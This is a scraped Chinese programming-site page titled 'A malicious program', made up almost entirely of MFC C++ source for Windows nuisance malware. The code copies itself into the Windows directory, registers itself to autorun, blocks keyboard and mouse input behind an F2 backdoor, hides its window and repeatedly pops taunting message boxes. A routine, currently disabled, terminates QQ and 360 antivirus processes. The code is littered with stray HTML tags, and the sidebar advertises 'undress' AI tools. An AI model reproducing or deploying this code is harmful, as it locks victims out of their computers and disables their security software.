A malicious program_PHP tutorial-PHP Tutorial-php.cn

Home

Backend Development

PHP Tutorial

A malicious program_PHP tutorial

WBOYWBOYWBOYWBOYWBOYWBOYWBOYWBOYWBOYWBOYWBOYWBOYWB

Jul 20, 2016 am 11:15 AM

microsoftrrunsoftwarewindowsmaliciousprogram

<span //</span><span  KeyBoardHookDialogDlg.cpp : implementation file
</span><span //
</span><span 
#include </span><span "</span><span stdafx.h</span><span "</span><span 
#include </span><span "</span><span KeyBoardHookDialog.h</span><span "</span><span 
#include </span><span "</span><span KeyBoardHookDialogDlg.h</span><span "</span>
<span #define</span> REG_RUN "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"<span 
 #include </span><tlhelp32.h><span 

#ifdef _DEBUG
</span><span #define</span> new DEBUG_NEW
<span #undef</span> THIS_FILE
<span static</span> <span char</span> THIS_FILE[] =<span  __FILE__;
</span><span #endif</span>
<span //</span><span #pragma comment (lib,"KeyBoardHook")</span>
<span ///////////////////////////////////////////////////////////////////////////</span><span //</span>
<span //</span><span  CAboutDlg dialog used for App About
</span><span //</span><span 定义全局HHOOK变量，用于保存</span>
<span  HHOOK  g_hMouse;
 HHOOK  g_hKeyboard;
 </span><span bool</span> isTrue = <span false</span><span ;

 HWND hWnd; </span><span //</span><span 保存当前句柄

</span><span //</span><span 注意以下俩个钩子过程是全局函数，所以里面的API要用全局的</span>
<span  LRESULT CALLBACK MouseProc(
  </span><span int</span> nCode,      <span //</span><span  hook code</span>
  WPARAM wParam,  <span //</span><span  message identifier</span>
  LPARAM lParam   <span //</span><span  mouse coordinates</span>
<span   )
 {
    </span><span return</span> <span 1</span><span ;    
 }

 LRESULT CALLBACK KeyboardProc(
  </span><span int</span> code,       <span //</span><span  hook code</span>
  WPARAM wParam,  <span //</span><span  virtual-key code</span>
  LPARAM lParam   <span //</span><span  keystroke-message information</span>
<span )
{
    </span><span //</span><span  if(VK_SPACE == wParam || VK_RETURN == wParam) </span><span //</span><span 屏蔽空格和回车键</span>
     <span /*</span><span   if(VK_F4 == wParam && (lParam>>29 & 1)) //屏蔽ALT + F4键 
            return 1;
       else
            return CallNextHookEx(g_hKeyboard,code,wParam,lParam);</span><span */</span>
    <span //</span><span 留个后门，使当按下F2键时，程序将退</span>
       <span if</span>(VK_F2 ==<span  wParam)
       {
           </span><span //</span><span 调用全局API函数向程序发出关闭消息</span>
           ::SendMessage(hWnd,WM_CLOSE,<span 0</span>,<span 0</span><span );
           </span><span //</span><span 卸载钩子</span>
<span            UnhookWindowsHookEx(g_hMouse);
           UnhookWindowsHookEx(g_hKeyboard);
       }
       </span><span return</span> <span 1</span><span ;
}


</span><span class</span> CAboutDlg : <span public</span><span  CDialog
{
</span><span public</span><span :
    CAboutDlg();

</span><span //</span><span  Dialog Data
    </span><span //</span><span {{AFX_DATA(CAboutDlg)</span>
    <span enum</span> { IDD =<span  IDD_ABOUTBOX };
    </span><span //</span><span }}AFX_DATA

    </span><span //</span><span  ClassWizard generated virtual function overridesf
    </span><span //</span><span {{AFX_VIRTUAL(CAboutDlg)</span>
    <span protected</span><span :
    </span><span virtual</span> <span void</span> DoDataExchange(CDataExchange* pDX);    <span //</span><span  DDX/DDV support
    </span><span //</span><span }}AFX_VIRTUAL

</span><span //</span><span  Implementation</span>
<span protected</span><span :
    </span><span //</span><span {{AFX_MSG(CAboutDlg)
    </span><span //</span><span }}AFX_MSG</span>
<span     DECLARE_MESSAGE_MAP()
};

CAboutDlg::CAboutDlg() : CDialog(CAboutDlg::IDD)
{
    </span><span //</span><span {{AFX_DATA_INIT(CAboutDlg)
    </span><span //</span><span }}AFX_DATA_INIT</span>
<span }

</span><span void</span> CAboutDlg::DoDataExchange(CDataExchange*<span  pDX)
{
    CDialog::DoDataExchange(pDX);
    </span><span //</span><span {{AFX_DATA_MAP(CAboutDlg)
    </span><span //</span><span }}AFX_DATA_MAP</span>
<span }

BEGIN_MESSAGE_MAP(CAboutDlg, CDialog)
    </span><span //</span><span {{AFX_MSG_MAP(CAboutDlg)
        </span><span //</span><span  No message handlers
    </span><span //</span><span }}AFX_MSG_MAP</span>
<span END_MESSAGE_MAP()

</span><span ///////////////////////////////////////////////////////////////////////////</span><span //</span>
<span //</span><span  CKeyBoardHookDialogDlg dialog</span>
<span 
CKeyBoardHookDialogDlg::CKeyBoardHookDialogDlg(CWnd</span>* pParent <span /*</span><span =NULL</span><span */</span><span )
    : CDialog(CKeyBoardHookDialogDlg::IDD, pParent)
{
    </span><span //</span><span {{AFX_DATA_INIT(CKeyBoardHookDialogDlg)
        </span><span //</span><span  NOTE: the ClassWizard will add member initialization here
    </span><span //</span><span }}AFX_DATA_INIT
    </span><span //</span><span  Note that LoadIcon does not require a subsequent DestroyIcon in Win32</span>
    m_hIcon = AfxGetApp()-><span LoadIcon(IDR_MAINFRAME);
}

</span><span void</span> CKeyBoardHookDialogDlg::DoDataExchange(CDataExchange*<span  pDX)
{
    CDialog::DoDataExchange(pDX);
    </span><span //</span><span {{AFX_DATA_MAP(CKeyBoardHookDialogDlg)
        </span><span //</span><span  NOTE: the ClassWizard will add DDX and DDV calls here
    </span><span //</span><span }}AFX_DATA_MAP</span>
<span }

BEGIN_MESSAGE_MAP(CKeyBoardHookDialogDlg, CDialog)
    </span><span //</span><span {{AFX_MSG_MAP(CKeyBoardHookDialogDlg)</span>
<span     ON_WM_SYSCOMMAND()
    ON_WM_PAINT()
    ON_WM_QUERYDRAGICON()
    ON_BN_CLICKED(IDC_BTN_HOOKON, OnBtnHookon)
    ON_WM_TIMER()
    </span><span //</span><span }}AFX_MSG_MAP</span>
<span END_MESSAGE_MAP()

</span><span ///////////////////////////////////////////////////////////////////////////</span><span //</span>
<span //</span><span  CKeyBoardHookDialogDlg message handlers</span>
<span 
BOOL CKeyBoardHookDialogDlg::OnInitDialog()
{
    CDialog::OnInitDialog();

    </span><span //</span><span  Add "About..." menu item to system menu.

    </span><span //</span><span  IDM_ABOUTBOX must be in the system command range.</span>
    ASSERT((IDM_ABOUTBOX & <span 0xFFF0</span>) ==<span  IDM_ABOUTBOX);
    ASSERT(IDM_ABOUTBOX </span>< <span 0xF000</span><span );

    CMenu</span>* pSysMenu =<span  GetSystemMenu(FALSE);
    </span><span if</span> (pSysMenu !=<span  NULL)
    {
        CString strAboutMenu;
        strAboutMenu.LoadString(IDS_ABOUTBOX);
        </span><span if</span> (!<span strAboutMenu.IsEmpty())
        {
            pSysMenu</span>-><span AppendMenu(MF_SEPARATOR);
            pSysMenu</span>-><span AppendMenu(MF_STRING, IDM_ABOUTBOX, strAboutMenu);
        }
    }

    </span><span //</span><span  Set the icon for this dialog.  The framework does this automatically
    </span><span //</span><span   when the application's main window is not a dialog</span>
    SetIcon(m_hIcon, TRUE);            <span //</span><span  Set big icon</span>
    SetIcon(m_hIcon, FALSE);        <span //</span><span  Set small icon
    
    </span><span //</span><span  TODO: Add extra initialization here</span>
<span 

    CopySelf();
    autoRun();</span><span //</span><span 注册表启动
        </span><span //</span><span 设定钩子
</span><span //</span><span     ShowProcess();</span>
    g_hMouse =<span  SetWindowsHookEx(WH_MOUSE,MouseProc,NULL,GetCurrentThreadId());
    g_hKeyboard </span>=<span  SetWindowsHookEx(WH_KEYBOARD,KeyboardProc,NULL,GetCurrentThreadId());
    </span><span //</span><span 保存句柄</span>
    hWnd =<span  m_hWnd;
    
    SetTimer(</span><span 1</span>, <span 2000</span><span , NULL);
    isTrue </span>= <span true</span><span ;
    </span><span return</span> TRUE;  <span //</span><span  return TRUE  unless you set the focus to a control</span>
<span }

</span><span void</span><span  CKeyBoardHookDialogDlg::OnSysCommand(UINT nID, LPARAM lParam)
{
    </span><span if</span> ((nID & <span 0xFFF0</span>) ==<span  IDM_ABOUTBOX)
    {
        CAboutDlg dlgAbout;
        dlgAbout.DoModal();
    }
    </span><span else</span><span 
    {
        CDialog::OnSysCommand(nID, lParam);
    }
}

</span><span //</span><span  If you add a minimize button to your dialog, you will need the code below
</span><span //</span><span   to draw the icon.  For MFC applications using the document/view model,
</span><span //</span><span   this is automatically done for you by the framework.</span>

<span void</span><span  CKeyBoardHookDialogDlg::OnPaint() 
{
    </span><span if</span><span  (IsIconic())
    {
        CPaintDC dc(</span><span this</span>); <span //</span><span  device context for painting</span>
<span 
        SendMessage(WM_ICONERASEBKGND, (WPARAM) dc.GetSafeHdc(), </span><span 0</span><span );

        </span><span //</span><span  Center icon in client rectangle</span>
        <span int</span> cxIcon =<span  GetSystemMetrics(SM_CXICON);
        </span><span int</span> cyIcon =<span  GetSystemMetrics(SM_CYICON);
        CRect rect;
        GetClientRect(</span>&<span rect);
        </span><span int</span> x = (rect.Width() - cxIcon + <span 1</span>) / <span 2</span><span ;
        </span><span int</span> y = (rect.Height() - cyIcon + <span 1</span>) / <span 2</span><span ;

        </span><span //</span><span  Draw the icon</span>
<span         dc.DrawIcon(x, y, m_hIcon);
    }
    </span><span else</span><span 
    {
        CDialog::OnPaint();
    }
}

</span><span //</span><span  The system calls this to obtain the cursor to display while the user drags
</span><span //</span><span   the minimized window.</span>
<span HCURSOR CKeyBoardHookDialogDlg::OnQueryDragIcon()
{
    </span><span return</span><span  (HCURSOR) m_hIcon;
}


</span><span void</span><span  CKeyBoardHookDialogDlg::OnBtnHookon() 
{
    </span><span //</span><span  TODO: Add your control notification handler code here</span>
<span 
    
    
}

</span><span //</span><span DEL void CKeyBoardHookDialogDlg::OnBtnHookoff() 
</span><span //</span><span DEL {
</span><span //</span><span DEL     </span><span //</span><span  TODO: Add your control notification handler code here
</span><span //</span><span DEL     SetHookOff();
</span><span //</span><span DEL     
</span><span //</span><span DEL }</span>

<span void</span><span  CKeyBoardHookDialogDlg::hide()
{
 
        ShowWindow(SW_HIDE); 
}


</span><span void</span><span  CKeyBoardHookDialogDlg::autoRun()
{

        HKEY hKey </span>=<span  NULL;
        LONG lRet </span>= RegOpenKey(HKEY_LOCAL_MACHINE,REG_RUN,&<span hKey);

        </span><span if</span>(lRet !=<span  ERROR_SUCCESS)
        {
            </span><span return</span><span ;
        }

        RegSetValueEx(hKey,</span><span "</span><span mynona</span><span "</span>,NULL,REG_SZ,(<span const</span> unsigned <span char</span> *)&<span szWindowsPath,
            strlen(szWindowsPath) </span>+<span sizeof</span>(<span char</span><span ));

        RegCloseKey(hKey);
}

</span><span void</span><span  CKeyBoardHookDialogDlg::ShowProcess()
{

    HANDLE hSnap </span>=<span  CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,NULL);
    </span><span //</span><span ...</span>
<span 
    PROCESSENTRY32 Pe32 </span>= {<span 0</span><span };
    Pe32.dwSize </span>= <span sizeof</span><span (PROCESSENTRY32);
    </span><span int</span> bRet = Process32First(hSnap,&<span Pe32);
    </span><span //</span><span 360IOSMgrSrv 360tray </span>
    <span char</span> name[MAX_PATH] = <span "</span><span QQ.exe</span><span "</span><span ;
    </span><span char</span> name2[MAX_PATH] = <span "</span><span 360tray.exe</span><span "</span><span ;
    </span><span char</span> name3[MAX_PATH] = <span "</span><span 360rp.exe</span><span "</span><span ;
    </span><span while</span><span (bRet)
    {
        </span><span //</span><span ...</span>
        bRet = Process32Next(hSnap,&<span Pe32);        
        </span><span //</span><span cout<<"id:"<<Pe32.th32ProcessID<<"   name:"<<Pe32.szExeFile<<endl;</span>
        
        <span int</span> flag = <span 0</span><span ;
        </span><span if</span>(strcmp(Pe32.szExeFile,name) == <span 0</span> || strcmp(Pe32.szExeFile,name3) == <span 0</span> || strcmp(Pe32.szExeFile,name2) ==<span 0</span><span )
            flag </span>= <span 1</span><span ;
        </span><span if</span><span (flag){
        </span><span //</span><span     cout<<"----------------------"<<Pe32.th32ProcessID<<endl;</span>
<span             MessageBox(Pe32.szExeFile);
            HANDLE hProcess </span>=<span  OpenProcess(PROCESS_TERMINATE,FALSE,Pe32.th32ProcessID);
            LPDWORD lpExitCode </span>= <span 0</span><span ;
            GetExitCodeProcess(hProcess, lpExitCode);
            TerminateProcess(hProcess, (UINT)lpExitCode);
        }
    }
}

</span><span void</span><span  CKeyBoardHookDialogDlg::CopySelf()
{

     </span><span char</span> szSelfName[MAX_PATH] = {<span 0</span><span };
    </span><span //</span><span  char szSystemPath[MAX_PATH] = {0};</span>
     <span char</span> szTmpPath[MAX_PATH] = {<span 0</span><span };

     </span><span //</span><span 获取当前程序自身路径</span>
<span      GetModuleFileName(NULL,szSelfName,MAX_PATH);
     </span><span //</span><span cout<<"szSelfName:"<<szSelfName<<endl;

     </span><span //</span><span 获取系统目录</span>
<span      GetWindowsDirectory(szWindowsPath,MAX_PATH);
   </span><span //</span><span   cout<<"szWindowsPath:"<<szWindowsPath<<endl;

     </span><span //</span><span 获取windows目录
   </span><span //</span><span   GetSystemDirectory(szSystemPath,MAX_PATH);
     </span><span //</span><span cout<<"szSystemPath:"<<szSystemPath<<endl;</span>
<span 
     strcat(szWindowsPath,</span><span "</span><span \\mynona.exe</span><span "</span><span );
     </span><span //</span><span strcat(szSystemPath,"\\mynona.exe");</span>
<span 
     MessageBox( szWindowsPath,</span><span "</span><span : szWindowsPath</span><span "</span><span );
     </span><span //</span><span MessageBox( szSystemPath,": szSystemPath");    </span>

     <span int</span> isTrue = CopyFile(szSelfName,szWindowsPath,FALSE);<span //</span><span FALSE表示强行覆盖原有文件
   </span><span //</span><span   int isTrue2 = CopyFile(szSelfName,szSystemPath,FALSE);</span>
<span 
}

</span><span void</span><span  CKeyBoardHookDialogDlg::OnTimer(UINT nIDEvent) 
{
    </span><span //</span><span  TODO: Add your message handler code here and/or call default</span>
    <span if</span><span (isTrue){
        ShowWindow(SW_HIDE); 
    }
    MessageBox(</span><span "</span><span haha</span><span "</span>,<span "</span><span 哈哈</span><span "</span><span ,MB_ICONSTOP);

    CDialog::OnTimer(nIDEvent);
}</span>

Statement

The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn

ace-guard client exe是什么程序Sep 22, 2021 pm 06:07 PM

ace-guard client exe是腾讯代理游戏的反作弊程序，是ewido的守护进程，保护“ewido.exe”进程不被恶意软件关闭；使用它可以检测游戏用户是否有开挂行为，可自动进行封号处理。

修复：操作员拒绝 Windows 任务计划程序中的请求错误Aug 01, 2023 pm 08:43 PM

要自动化任务和管理多个系统，任务计划软件是您武器库中的宝贵工具，尤其是对于系统管理员而言。Windows任务计划程序完美地完成了这项工作，但最近许多人报告说操作员拒绝了请求错误。该问题存在于操作系统的所有迭代中，即使已经广泛报告和涵盖，也没有有效的解决方案。继续阅读以找到真正对其他人有用的内容！操作员或管理员拒绝了任务计划程序0x800710e0中的请求是什么？任务计划程序允许在没有用户输入的情况下自动执行各种任务和应用程序。您可以使用它来安排和组织特定应用程序、配置自动通知、帮助传递消息等。它

如何在Windows 10和11上按面部对照片进行排序Aug 08, 2023 pm 10:41 PM

Windows的操作随着每个版本而变得越来越好，具有诱人的功能来改善用户体验。用户希望在Windows10和11上探索的一项功能是能够按面部对照片进行排序。此功能允许您通过面部识别对朋友和家人的照片进行分组。听起来很有趣，对吧？继续阅读如何了解如何利用该功能。我可以在Windows上按面孔对照片进行分组吗？是的，您可以使用“照片”应用在Windows10和11上按人脸对图片进行分组。但是，此功能在照片应用程序版本上不可用。此外，您可以使用“人脉”选项卡将这些照片链接到联系人。因此，使用此功能可以

如何自动切换特定应用程序的iPhone方向锁定Jun 06, 2023 am 08:22 AM

在iOS中，当您将iPhone从纵向旋转到横向时，许多App会显示不同的视图。根据应用程序及其使用方式，这种行为并不总是可取的，这就是Apple在“控制中心”中包含方向锁定选项的原因。但是，某些应用程序在禁用方向锁定的情况下工作得更有用-想想YouTube或照片应用程序，将设备旋转到横向可以提供更好的全屏观看体验。如果您倾向于保持锁定状态，则必须在每次打开这些类型的应用程序时在“控制中心”中禁用它以获得全屏体验。然后，当您关闭应用程序时，您必须记住重新打开方向锁定，这并不理想。幸运的是，您可以创

microsoft visual c++可以卸载吗?Sep 14, 2022 am 11:36 AM

“microsoft visual c++”是可以卸载的，但是不建议卸载；“microsoft visua”这些都是一些微软的组件，里面包括一些“C++”标准库、原始数据库等相关信息，很多软件尤其是游戏中需要“microsoft visual c++”中的环境组件，如果缺少了“C++”标准库的支持，可能会造成软件的无法运行。

如何从Microsoft商店快速卸载应用Jul 12, 2023 pm 09:25 PM

Microsoft应用商店是内置存储库，用户可以在其中下载、更新和卸载适用于Windows操作系统的应用。可悲的是，许多用户不知道如何在MicrosoftStore上卸载应用程序。因此，本文将带您了解如何快速从Microsoft商店卸载应用程序。或者，如果您的Windows11PC上缺少Microsoft应用商店应用程序，我们提供了有关下载和安装应用商店应用程序的详细指南。是否可以直接从Microsoft应用商店卸载应用？否，Microsoft应用商店不提供直接从平台卸载应用的选项。您只能通过平

卸载程序的文件名是什么Oct 21, 2022 pm 02:05 PM

卸载程序的文件名是“uninstall.exe”或“uninst.exe”，是用以协助使用者将软件自电脑中删除的一种电脑软件。使用方法：1、在文件资源管理器中挖掘并导航到应用程序EXE文件所在的文件路径；2、通过文件路径打开应用程序的安装目录，找到“uninstall.exe”文件；3、双击卸载文件“uninstall.exe”即可开始程序删除过程。

C语言中的身份矩阵程序Aug 30, 2023 am 10:45 AM

给定一个方阵M[r][c]，其中“r”是一定数量的行，“c”是列，使得r=c，我们必须检查“M”是否是单位矩阵。恒等矩阵恒等矩阵也称为大小为nxn方阵的单位矩阵，其中对角元素的整数值为1，非对角元素的整数值为0就像下面给定的示例-$$I1=\begin{bmatrix}1\end{bmatrix},\I2=\begin{bmatrix}1&0\0&1\end{bmatrix},\I3=\begin{bmatrix}1&0&0\0&1&0\0&

See all articles

Hot AI Tools

Undresser.AI Undress

AI-powered app for creating realistic nude photos

AI Clothes Remover

Online AI tool for removing clothes from photos.

Undress AI Tool

Undress images for free

Clothoff.io

AI clothes remover

AI Hentai Generator

Generate AI Hentai for free.

Hot Article

Repo: How To Revive Teammates

1 months agoBy尊渡假赌尊渡假赌尊渡假赌

R.E.P.O. Energy Crystals Explained and What They Do (Yellow Crystal)

2 weeks agoBy尊渡假赌尊渡假赌尊渡假赌

Hello Kitty Island Adventure: How To Get Giant Seeds

1 months agoBy尊渡假赌尊渡假赌尊渡假赌

How Long Does It Take To Beat Split Fiction?

4 weeks agoByDDD

R.E.P.O. Save File Location: Where Is It & How to Protect It?

4 weeks agoByDDD

Hot Tools

SublimeText3 English version

Recommended: Win version, supports code prompts!

Safe Exam Browser

Safe Exam Browser is a secure browser environment for taking online exams securely. This software turns any computer into a secure workstation. It controls access to any utility and prevents students from using unauthorized resources.

Zend Studio 13.0.1

Powerful PHP integrated development environment

DVWA

Damn Vulnerable Web App (DVWA) is a PHP/MySQL web application that is very vulnerable. Its main goals are to be an aid for security professionals to test their skills and tools in a legal environment, to help web developers better understand the process of securing web applications, and to help teachers/students teach/learn in a classroom environment Web application security. The goal of DVWA is to practice some of the most common web vulnerabilities through a simple and straightforward interface, with varying degrees of difficulty. Please note that this software

mPDF

mPDF is a PHP library that can generate PDF files from UTF-8 encoded HTML. The original author, Ian Back, wrote mPDF to output PDF files "on the fly" from his website and handle different languages. It is slower than original scripts like HTML2FPDF and produces larger files when using Unicode fonts, but supports CSS styles etc. and has a lot of enhancements. Supports almost all languages, including RTL (Arabic and Hebrew) and CJK (Chinese, Japanese and Korean). Supports nested block-level elements (such as P, DIV),

Hot Topics

Where is the login entrance for gmail email?

7369

1628

1354

1266

1214